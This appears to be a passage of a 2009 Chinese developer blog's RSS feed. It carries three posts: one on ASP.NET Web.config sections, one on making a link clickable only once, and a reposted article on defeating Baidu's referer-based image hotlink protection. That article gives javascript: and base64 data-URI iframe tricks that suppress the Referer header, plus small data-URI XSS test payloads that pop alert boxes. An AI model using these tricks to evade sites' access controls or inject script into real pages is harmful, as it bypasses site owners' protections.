		<comments>http://cq-cser.cn/2009/12/web-config%e7%9a%84%e8%ae%b2%e8%a7%a3/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 04:46:46 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[config]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=426</guid>
		<description><![CDATA[(一).Web.Config是以XML文件规范存储,配置文件分为以下格式     1.配置节处理程序声明       特点： 位于配置文件的顶部，包含在&#60;configSections&#62;标志中。     2.特定应用程序配置       特点:  位于&#60;appSetting&#62;中。 可以定义应用程序的全局常量设置等信息.     3.配置节设置       特点:  位于&#60;system.Web&#62;节中，控制Asp.net运行时的行为.     4.配置节组       特点:  用&#60;sectionGroup&#62;标记，可以自定义分组，可以放到&#60;configSections&#62;内部或其它&#60;sectionGroup&#62;标记的内部. (二).配置节的每一节     1.&#60;configuration&#62;节         根元素，其它节都是在它的内部.     2.&#60;appSetting&#62;节         此节用于定义应用程序设置项。对一些不确定设置，还可以让用户根据自己实际情况自己设置         用法:         I.          &#60;appSettings&#62;      &#60;add key=&#8221;Conntction&#8221; value=&#8221;server=192.168.85.66;userid=sa;password=;database=Info;&#8221;/&#62;          &#60;appSettings&#62;         定义了一个连接字符串常量，并且在实际应用时可以修改连接字符串，不用修改程式代码.         II.&#60;appSettings&#62;       &#60;add key=&#8221;ErrPage&#8221; value=&#8221;Error.aspx&#8221;/&#62;            &#60;appSettings&#62;         定义了一个错误重定向页面.      3.&#60;compilation&#62;节         格式:           &#60;compilation              defaultLanguage=&#8221;c#&#8221;              debug=&#8221;true&#8221;            /&#62;         I.default language: 定义后台代码语言,可以选择C#和VB.net两种语言.         IIdebug : 为true时，启动aspx调试； 为false不启动aspx调试，因而可以提高应用程序运行                   时的性能。 一般程序员在开发时设置为true,交给客户时设置为false.      4.&#60;customErrors&#62;节          格式:          &#60;customErrors             mode=&#8221;RemoteOnly&#8221;             defaultRedirect=&#8221;error.aspx&#8221;             &#60;error statusCode=&#8221;440&#8243; redirect=&#8221;err440page.aspx&#8221;/&#62;             &#60;error statusCode=&#8221;500&#8243; redirect=&#8221;err500Page.aspx&#8221;/&#62;          /&#62;          I.mode : 具有On,Off,RemoteOnly 3种状态。On表示始终显示自定义的信息; Off表示始终显示详细的asp.net错误信息; RemoteOnly表示只对不在本地Web服务器上运行的用户显示自定义信息.          II.defaultRedirect: 用于出现错误时重定向的URL地址. 是可选的          III.statusCode:  指明错误状态码，表明一种特定的出错状态.          IV. redirect:错误重定向的URL.       5.&#60;globalization&#62;节           格式:           &#60;globalization              requestEncoding=&#8221;utf-8&#8243;              responseEncoding=&#8221;utf-8&#8243;              fileEncoding=&#8221;utf-8&#8243;           /&#62;            I.requestEncoding: 它用来检查每一个发来请求的编码.            II.responseEncoding: 用于检查发回的响应内容编码.           III.fileEncoding: 用于检查aspx,asax等文件解析的默认编码.    [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/01/%e4%b8%80%e7%ba%a7%e5%9f%9f%e5%90%8d%e5%92%8c%e4%ba%8c%e7%ba%a7%e5%9f%9f%e5%90%8d%e8%b7%a8%e5%9f%9f%e7%9a%84%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/' rel='bookmark' title='Permanent Link: 一级域名和二级域名跨域的解决方案'>一级域名和二级域名跨域的解决方案</a></li>
<li><a href='http://cq-cser.cn/2010/01/asp-net%e5%ae%9a%e6%97%b6%e5%8f%91%e9%80%81%e9%82%ae%e4%bb%b6/' rel='bookmark' title='Permanent Link: asp.net定时发送邮件'>asp.net定时发送邮件</a></li>
<li><a href='http://cq-cser.cn/2010/02/%e5%88%86%e9%a1%b5%e6%8e%a7%e4%bb%b6%e5%88%86%e9%a1%b5%e7%b1%bb/' rel='bookmark' title='Permanent Link: 分页控件/分页类'>分页控件/分页类</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div>(一).Web.Config是以XML文件规范存储,配置文件分为以下格式<br />
    1.配置节处理程序声明<br />
      特点： 位于配置文件的顶部，包含在&lt;configSections&gt;标志中。<br />
    2.特定应用程序配置<br />
      特点:  位于&lt;appSetting&gt;中。 可以定义应用程序的全局常量设置等信息.<br />
    3.配置节设置<br />
      特点:  位于&lt;system.Web&gt;节中，控制Asp.net运行时的行为.<br />
    4.配置节组<br />
      特点:  用&lt;sectionGroup&gt;标记，可以自定义分组，可以放到&lt;configSections&gt;内部或其它&lt;sectionGroup&gt;标记的内部.<br />
(二).配置节的每一节<span id="more-426"></span><br />
    1.&lt;configuration&gt;节<br />
        根元素，其它节都是在它的内部.<br />
    2.&lt;appSetting&gt;节<br />
        此节用于定义应用程序设置项。对一些不确定设置，还可以让用户根据自己实际情况自己设置<br />
        用法:<br />
        I.<br />
         &lt;appSettings&gt;<br />
     &lt;add key=&#8221;Conntction&#8221; value=&#8221;server=192.168.85.66;userid=sa;password=;database=Info;&#8221;/&gt;<br />
         &lt;appSettings&gt;<br />
        定义了一个连接字符串常量，并且在实际应用时可以修改连接字符串，不用修改程式代码.<br />
        II.&lt;appSettings&gt;<br />
      &lt;add key=&#8221;ErrPage&#8221; value=&#8221;Error.aspx&#8221;/&gt;<br />
           &lt;appSettings&gt;<br />
        定义了一个错误重定向页面.<br />
     3.&lt;compilation&gt;节<br />
        格式:<br />
          &lt;compilation<br />
             defaultLanguage=&#8221;c#&#8221;<br />
             debug=&#8221;true&#8221;<br />
           /&gt;<br />
        I.default language: 定义后台代码语言,可以选择C#和VB.net两种语言.<br />
        IIdebug : 为true时，启动aspx调试； 为false不启动aspx调试，因而可以提高应用程序运行<br />
                  时的性能。 一般程序员在开发时设置为true,交给客户时设置为false.<br />
     4.&lt;customErrors&gt;节<br />
         格式:<br />
         &lt;customErrors<br />
            mode=&#8221;RemoteOnly&#8221;<br />
            defaultRedirect=&#8221;error.aspx&#8221;<br />
            &lt;error statusCode=&#8221;440&#8243; redirect=&#8221;err440page.aspx&#8221;/&gt;<br />
            &lt;error statusCode=&#8221;500&#8243; redirect=&#8221;err500Page.aspx&#8221;/&gt;<br />
         /&gt;<br />
         I.mode : 具有On,Off,RemoteOnly 3种状态。On表示始终显示自定义的信息; Off表示始终显示详细的asp.net错误信息; RemoteOnly表示只对不在本地Web服务器上运行的用户显示自定义信息.<br />
         II.defaultRedirect: 用于出现错误时重定向的URL地址. 是可选的<br />
         III.statusCode:  指明错误状态码，表明一种特定的出错状态.<br />
         IV. redirect:错误重定向的URL.<br />
      5.&lt;globalization&gt;节<br />
          格式:<br />
          &lt;globalization<br />
             requestEncoding=&#8221;utf-8&#8243;<br />
             responseEncoding=&#8221;utf-8&#8243;<br />
             fileEncoding=&#8221;utf-8&#8243;<br />
          /&gt; <br />
          I.requestEncoding: 它用来检查每一个发来请求的编码. <br />
          II.responseEncoding: 用于检查发回的响应内容编码.<br />
          III.fileEncoding: 用于检查aspx,asax等文件解析的默认编码.   <br />
      6.&lt;sessionState&gt;节<br />
          格式:<br />
          &lt;sessionState<br />
            mode=&#8221;InProc&#8221;<br />
            stateConnectionString=&#8221;tcpip=127.0.0.1:42424&#8243;<br />
            sqlConnectionString=&#8221;data source=127.0.0.1;Trusted_Connection=yes&#8221;<br />
            cookieless=&#8221;false&#8221;<br />
            timeout=&#8221;20&#8243;<br />
          /&gt;<br />
          I.mode: 分为off,Inproc,StateServer,SqlServer几种状态<br />
                 这里有详细介绍此属性: <a href="http://blog.csdn.net/chengking/archive/2005/10/27/518079.aspx" target="_blank">http://blog.csdn.net/chengking/archive/2005/10/27/518079.aspx</a><br />
          II. stateConnectionString :指定Asp.net应用程序存储远程会话状态的服务器名，默认为本机<br />
          III.sqlConnectionString: 当用会话状态数据库时，在这里设置连接字符串<br />
          IV. Cookieless: 设置为true时，表示不使用cookie会话状态来标识客户； 否则，相反.<br />
          V.  TimeOut: 用来定义会话状态存储的时间，超过期限，将自动终止会话.<br />
      7.&lt;authentication&gt;节<br />
        格式:<br />
         &lt;authentication mode=&#8221;Forms&#8221;&gt;             <br />
             &lt;forms name=&#8221;.ASPXUSERDEMO&#8221; loginUrl=&#8221;Login.aspx&#8221; protection=&#8221;All&#8221; timeout=&#8221;30&#8243;/&gt;<br />
         &lt;/authentication&gt;<br />
         &lt;authorization&gt;<br />
             &lt;deny users=&#8221;?&#8221;/&gt;<br />
         &lt;/authorization&gt;<br />
         I.Windows: 使用IIS验证方式<br />
         II.Forms: 使用基于窗体的验证方式<br />
         III.Passport: 采用Passport cookie验证模式<br />
         IV.None: 不采用任何验证方式<br />
         里面内嵌Forms节点的属性涵义:<br />
         I.Name: 指定完成身份验证的Http cookie的名称.<br />
         II.LoginUrl: 如果未通过验证或超时后重定向的页面URL，一般为登录页面，让用户重新登录<br />
         III.Protection: 指定 cookie数据的保护方式.<br />
            可设置为: All None Encryption Validation四种保护方式<br />
            a. All表示加密数据，并进行有效性验证两种方式<br />
            b. None表示不保护Cookie.<br />
            c. Encryption表示对Cookie内容进行加密<br />
            d. validation表示对Cookie内容进行有效性验证<br />
         IV. TimeOut: 指定Cookie的失效时间.  超时后要重新登录.</div>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/01/%e4%b8%80%e7%ba%a7%e5%9f%9f%e5%90%8d%e5%92%8c%e4%ba%8c%e7%ba%a7%e5%9f%9f%e5%90%8d%e8%b7%a8%e5%9f%9f%e7%9a%84%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/' rel='bookmark' title='Permanent Link: 一级域名和二级域名跨域的解决方案'>一级域名和二级域名跨域的解决方案</a></li>
<li><a href='http://cq-cser.cn/2010/01/asp-net%e5%ae%9a%e6%97%b6%e5%8f%91%e9%80%81%e9%82%ae%e4%bb%b6/' rel='bookmark' title='Permanent Link: asp.net定时发送邮件'>asp.net定时发送邮件</a></li>
<li><a href='http://cq-cser.cn/2010/02/%e5%88%86%e9%a1%b5%e6%8e%a7%e4%bb%b6%e5%88%86%e9%a1%b5%e7%b1%bb/' rel='bookmark' title='Permanent Link: 分页控件/分页类'>分页控件/分页类</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2009/12/web-config%e7%9a%84%e8%ae%b2%e8%a7%a3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>转.搞定百度图片防盗链</title>
		<link>http://cq-cser.cn/2009/12/%e8%bd%ac-%e6%90%9e%e5%ae%9a%e7%99%be%e5%ba%a6%e5%9b%be%e7%89%87%e9%98%b2%e7%9b%97%e9%93%be/</link>
		<comments>http://cq-cser.cn/2009/12/%e8%bd%ac-%e6%90%9e%e5%ae%9a%e7%99%be%e5%ba%a6%e5%9b%be%e7%89%87%e9%98%b2%e7%9b%97%e9%93%be/#comments</comments>
		<pubDate>Sun, 20 Dec 2009 11:22:55 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=372</guid>
		<description><![CDATA[我之前曾写过一篇文章： Data URL Schema 与 如何盗链百度的图片 提到可以采用新出的 Data URL Schema ，以不发送referer的形式，绕过百度的referer检验。但这种方式只有FF支持，IE还不支持，所以尚未采用。这些天来SECINN深受百度图 片防盗链之苦，用户体验有折扣，所以我决定一劳永逸的解决这个问题。 实际上浏览器是根据schema 来决定是否发送 referer的。 典型的就是从 https 跳到 http 会被浏览器拒绝发送 referer，因为可能会导致敏感信息泄露。 比较通用绕过referer检查的方式还有通过一些网页代理访问，原理也是代理访问时不发送referer，或者伪造referer。 但是出于法律风险，我不想提供我的网页代理（也不希望用验证域名的方式让代理变得复杂），也不想使用第三方的代理。 前些天，harry给我提供了一种非常猥琐但极其通用的方式绕过浏览器检查。 参考如下例子： &#60;script&#62; window.sc="&#60;img src='http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif?"+Math.random()+"'&#62;"; &#60;/script&#62; &#60;iframe src="javascript:parent.sc"&#62;&#60;/iframe&#62; 我也没想明白为啥iframe会直接把那段img标签给插入其内容中，但是浏览器确实这样做了！ 由于src的schema是 ”javascript“，所以后面的这个image请求是不发送referer的！ 出于这个原理，我们就可以绕过一切基于Referer 的防盗链检测了。 secinn中新的代码如下: &#60;script&#62;var im_2971a6649dfbd861bd7d04df14543c06 = "&#60;img style='max-height:500px;width:auto;' src=http://hiphotos.baidu.com/54nop/pic/item/939407fb49f406266c22eb5e.jpg &#62;";&#60;/script&#62; &#60;iframe id=im_2971a6649dfbd861bd7d04df14543c06 style="border:0px;overflow:hidden;" scrolling="no" frameborder="0" src="javascript:parent.im_2971a6649dfbd861bd7d04df14543c06;" onload="javascript:var x=document.getElementById('im_2971a6649dfbd861bd7d04df14543c06').contentWindow.document.images[0]; this.width=x.width+10;this.height=x.height+10;"&#62;&#60;/iframe&#62; 其中出于用户体验的因素在iframe onload的过程中，根据加载图片的大小修改了iframe本身的长宽。 [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/01/%e7%a6%81%e6%ad%a2%e5%8f%b3%e9%94%ae%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 禁止右键代码'>禁止右键代码</a></li>
<li><a href='http://cq-cser.cn/2010/02/%e5%85%b3%e4%ba%8exshmcross-site-history-manipulationzz/' rel='bookmark' title='Permanent Link: 关于XSHM(Cross-Site History Manipulation)[zz]'>关于XSHM(Cross-Site History Manipulation)[zz]</a></li>
<li><a href='http://cq-cser.cn/2010/02/firefox%e6%8f%92%e4%bb%b6%e5%bc%80%e5%8f%91%e8%80%85%e5%bf%85%e5%a4%87/' rel='bookmark' title='Permanent Link: firefox插件/开发者必备'>firefox插件/开发者必备</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>我之前曾写过一篇文章：</p>
<p><a href="http://hi.baidu.com/aullik5/blog/item/c82a94dc5d37b33d5982dde3.html" target="_blank">Data URL Schema 与 如何盗链百度的图片</a></p>
<p>提到可以采用新出的 Data URL Schema ，以不发送referer的形式，绕过百度的referer检验。但这种方式只有FF支持，IE还不支持，所以尚未采用。这些天来SECINN深受百度图 片防盗链之苦，用户体验有折扣，所以我决定一劳永逸的解决这个问题。</p>
<p>实际上浏览器是根据schema 来决定是否发送 referer的。</p>
<p>典型的就是从 https 跳到 http 会被浏览器拒绝发送 referer，因为可能会导致敏感信息泄露。</p>
<p>比较通用绕过referer检查的方式还有通过一些网页代理访问，原理也是代理访问时不发送referer，或者伪造referer。</p>
<p>但是出于法律风险，我不想提供我的网页代理（也不希望用验证域名的方式让代理变得复杂），也不想使用第三方的代理。</p>
<p>前些天，harry给我提供了一种非常猥琐但极其通用的方式绕过浏览器检查。</p>
<p>参考如下例子：</p>
<pre>&lt;<span>script</span>&gt;
window.sc="&lt;img src='http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif?"+Math.random()+"'&gt;";
&lt;/<span>script</span>&gt;
&lt;<span>iframe</span><span> src</span><span>="javascript:parent.sc"</span>&gt;&lt;/<span>iframe</span>&gt;<span id="more-372"></span></pre>
<p>我也没想明白为啥iframe会直接把那段img标签给插入其内容中，但是浏览器确实这样做了！</p>
<p>由于src的schema是 ”javascript“，所以后面的这个image请求是不发送referer的！</p>
<p>出于这个原理，我们就可以绕过一切基于Referer 的防盗链检测了。</p>
<p>secinn中新的代码如下:</p>
<pre>&lt;<span>script</span>&gt;var im_2971a6649dfbd861bd7d04df14543c06 = "&lt;img style='max-height:500px;width:auto;'
src=http://hiphotos.baidu.com/54nop/pic/item/939407fb49f406266c22eb5e.jpg &gt;";&lt;/<span>script</span>&gt;
&lt;<span>iframe</span><span> id</span>=<span>im_2971a6649dfbd861bd7d04df14543c06 </span><span>style</span>=<span>"border:0px;overflow:hidden;" </span><span>
scrolling</span>=<span>"no" </span><span>frameborder</span>=<span>"0" </span><span>src</span><span>="javascript:parent.im_2971a6649dfbd861bd7d04df14543c06;" </span><span>
onload</span>=<span>"javascript:var x=document.getElementById('im_2971a6649dfbd861bd7d04df14543c06').contentWindow.document.images[0];
this.width=x.width+10;this.height=x.height+10;"</span>&gt;&lt;/<span>iframe</span>&gt;</pre>
<p>其中出于用户体验的因素在iframe onload的过程中，根据加载图片的大小修改了iframe本身的长宽。</p>
<p>so，向可怜的百度 hiphotos的防盗链图片说bye bybe吧！</p>
<p>下面是上一篇文章</p>
<p>在 Firefox 中有实现，IE不支持。Opera , Safari 参考的 Firefox 的实现</p>
<p>利用 Data:xxxxxxx 可以写各种不同的内容，甚至能够通过base64嵌入二进制的图片到URL里。</p>
<p>比如，要构造XSS，可以这样：</p>
<p>&lt;a href=&#8221;data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=&#8221; rel=&#8221;nofollow&#8221;&gt;test&lt;/a&gt;</p>
<p>会弹出个小框。</p>
<p>我经过测试，构造了以下方式可以成功实现不发送Referer的需求</p>
<p>&lt;iframe src=&#8221;data:text/html;base64,PGltZyBzcmM9aHR0cDovL2hpcGhvdG9zLmJhaWR1LmNvbS9hdWxsaWs1L3BpYy9pdGVtL2IyY2RiNDQ0YTVlYTQ0MDJjZmZjYTMxNy5qcGVnIC8+&#8221; &gt;&lt;/iframe&gt;</p>
<p>base64 加密的部分实际上就是</p>
<p>&lt;img src=http://hiphotos.baidu.com/aullik5/pic/item/b2cdb444a5ea4402cffca317.jpeg /&gt;</p>
<p>可以查看一下新开iframe的域，使用以下的测试方式<br />
&lt;iframe src=&#8221;data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pO2FsZXJ0KHdpbmRvdy5sb2NhdGlvbik7PC9zY3JpcHQ+&#8221;&gt;&lt;/iframe&gt;</p>
<p>&lt;code&gt;在iframe中弹出document.domain，可以看到当前的域还是在 www.a.com</p>
<p>说到这里，就要插两句关于 Firefox 的同源判断和Referer 发送规则了。</p>
<p>一般来说， Firefox 会根据当前的JSContext来寻找当前页面的源，doc-&gt;GetPrincipal();</p>
<p>发送的 Referer 头的内容，就是获取的页面源。</p>
<p>在 Firefox 中，点击一个link，或者 &lt;img &gt;, &lt;iframe&gt;等标签获取内容时，都会发送相应的 Referer 出去。甚至右键点击一个link，在新的tab中打开，也会发送referer（在新tab中打开页面本来是不发送referer的，有人提交这个bug 后，就fix了）。</p>
<p>这样看来，利用 Data URL Schema 构造一个新的语境，再执行一个访问的请求，就不会发送 Referer, 应该属于一个浏览器的缺陷。要说是 Feature 也可以，又是有争议的地方啊。&lt;/code&gt;</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/01/%e7%a6%81%e6%ad%a2%e5%8f%b3%e9%94%ae%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 禁止右键代码'>禁止右键代码</a></li>
<li><a href='http://cq-cser.cn/2010/02/%e5%85%b3%e4%ba%8exshmcross-site-history-manipulationzz/' rel='bookmark' title='Permanent Link: 关于XSHM(Cross-Site History Manipulation)[zz]'>关于XSHM(Cross-Site History Manipulation)[zz]</a></li>
<li><a href='http://cq-cser.cn/2010/02/firefox%e6%8f%92%e4%bb%b6%e5%bc%80%e5%8f%91%e8%80%85%e5%bf%85%e5%a4%87/' rel='bookmark' title='Permanent Link: firefox插件/开发者必备'>firefox插件/开发者必备</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2009/12/%e8%bd%ac-%e6%90%9e%e5%ae%9a%e7%99%be%e5%ba%a6%e5%9b%be%e7%89%87%e9%98%b2%e7%9b%97%e9%93%be/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>链接只能被点击一次</title>
		<link>http://cq-cser.cn/2009/11/%e9%93%be%e6%8e%a5%e5%8f%aa%e8%83%bd%e8%a2%ab%e7%82%b9%e5%87%bb%e4%b8%80%e6%ac%a1/</link>
		<comments>http://cq-cser.cn/2009/11/%e9%93%be%e6%8e%a5%e5%8f%aa%e8%83%bd%e8%a2%ab%e7%82%b9%e5%87%bb%e4%b8%80%e6%ac%a1/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 18:29:44 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[前端设计]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=10</guid>
		<description><![CDATA[有时候，只希望网站某个链接只能被点击一次，怎么做呢？下面给出3中方法！ 第一种： 利用JS在点击后把href变成#把taget变成空。 Open Google in New Window 提示：你可以先修改部分代码再运行。 第二种： 利用JS在点击后删除href属性，使链接变为文字。兼容IE6,IE7,IE8,Firefox,Opera,Safari,Chrome Open Google in New Window 提示：你可以先修改部分代码再运行。 第三种： 设置href值及target值的一种做法 Open Google in New Window 提示：你可以先修改部分代码再运行。 Related posts:转.搞定百度图片防盗链 26JQUERY-SKILLS 完全兼容的 鼠标滚轴缩放图片


Related posts:<ol><li><a href='http://cq-cser.cn/2009/12/%e8%bd%ac-%e6%90%9e%e5%ae%9a%e7%99%be%e5%ba%a6%e5%9b%be%e7%89%87%e9%98%b2%e7%9b%97%e9%93%be/' rel='bookmark' title='Permanent Link: 转.搞定百度图片防盗链'>转.搞定百度图片防盗链</a></li>
<li><a href='http://cq-cser.cn/2010/04/26jquery-skills/' rel='bookmark' title='Permanent Link: 26JQUERY-SKILLS'>26JQUERY-SKILLS</a></li>
<li><a href='http://cq-cser.cn/2010/02/%e5%ae%8c%e5%85%a8%e5%85%bc%e5%ae%b9%e7%9a%84-%e9%bc%a0%e6%a0%87%e6%bb%9a%e8%bd%b4%e7%bc%a9%e6%94%be%e5%9b%be%e7%89%87/' rel='bookmark' title='Permanent Link: 完全兼容的 鼠标滚轴缩放图片'>完全兼容的 鼠标滚轴缩放图片</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>有时候，只希望网站某个链接只能被点击一次，怎么做呢？下面给出3中方法！<br />
第一种：<br />
利用JS在点击后把href变成#把taget变成空。<span id="more-10"></span></p>
<p><a onclick="var that = this; setTimeout(function(){that.href = '#'; that.target=''; that.onclick=function(){ return false; }; });" href="http://www.g.cn" target="_blank">Open Google in New Window</a></p>
<p>提示：你可以先修改部分代码再运行。</p>
<p>第二种：<br />
利用JS在点击后删除href属性，使链接变为文字。兼容IE6,IE7,IE8,Firefox,Opera,Safari,Chrome</p>
<p><a onclick="var that = this;setTimeout(function(){that.removeAttribute('href');that.onclick=that=null;}, 0);return true;" href="http://www.g.cn" target="_blank">Open Google in New Window</a></p>
<p>提示：你可以先修改部分代码再运行。</p>
<p>第三种：<br />
设置href值及target值的一种做法</p>
<p><a onclick="this._clk?(this.href='javascript:;',this.target='_self'):(this._clk=1);" href="http://www.google.cn" target="_blank">Open Google in New Window</a></p>
<p>提示：你可以先修改部分代码再运行。</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2009/12/%e8%bd%ac-%e6%90%9e%e5%ae%9a%e7%99%be%e5%ba%a6%e5%9b%be%e7%89%87%e9%98%b2%e7%9b%97%e9%93%be/' rel='bookmark' title='Permanent Link: 转.搞定百度图片防盗链'>转.搞定百度图片防盗链</a></li>
<li><a href='http://cq-cser.cn/2010/04/26jquery-skills/' rel='bookmark' title='Permanent Link: 26JQUERY-SKILLS'>26JQUERY-SKILLS</a></li>
<li><a href='http://cq-cser.cn/2010/02/%e5%ae%8c%e5%85%a8%e5%85%bc%e5%ae%b9%e7%9a%84-%e9%bc%a0%e6%a0%87%e6%bb%9a%e8%bd%b4%e7%bc%a9%e6%94%be%e5%9b%be%e7%89%87/' rel='bookmark' title='Permanent Link: 完全兼容的 鼠标滚轴缩放图片'>完全兼容的 鼠标滚轴缩放图片</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2009/11/%e9%93%be%e6%8e%a5%e5%8f%aa%e8%83%bd%e8%a2%ab%e7%82%b9%e5%87%bb%e4%b8%80%e6%ac%a1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

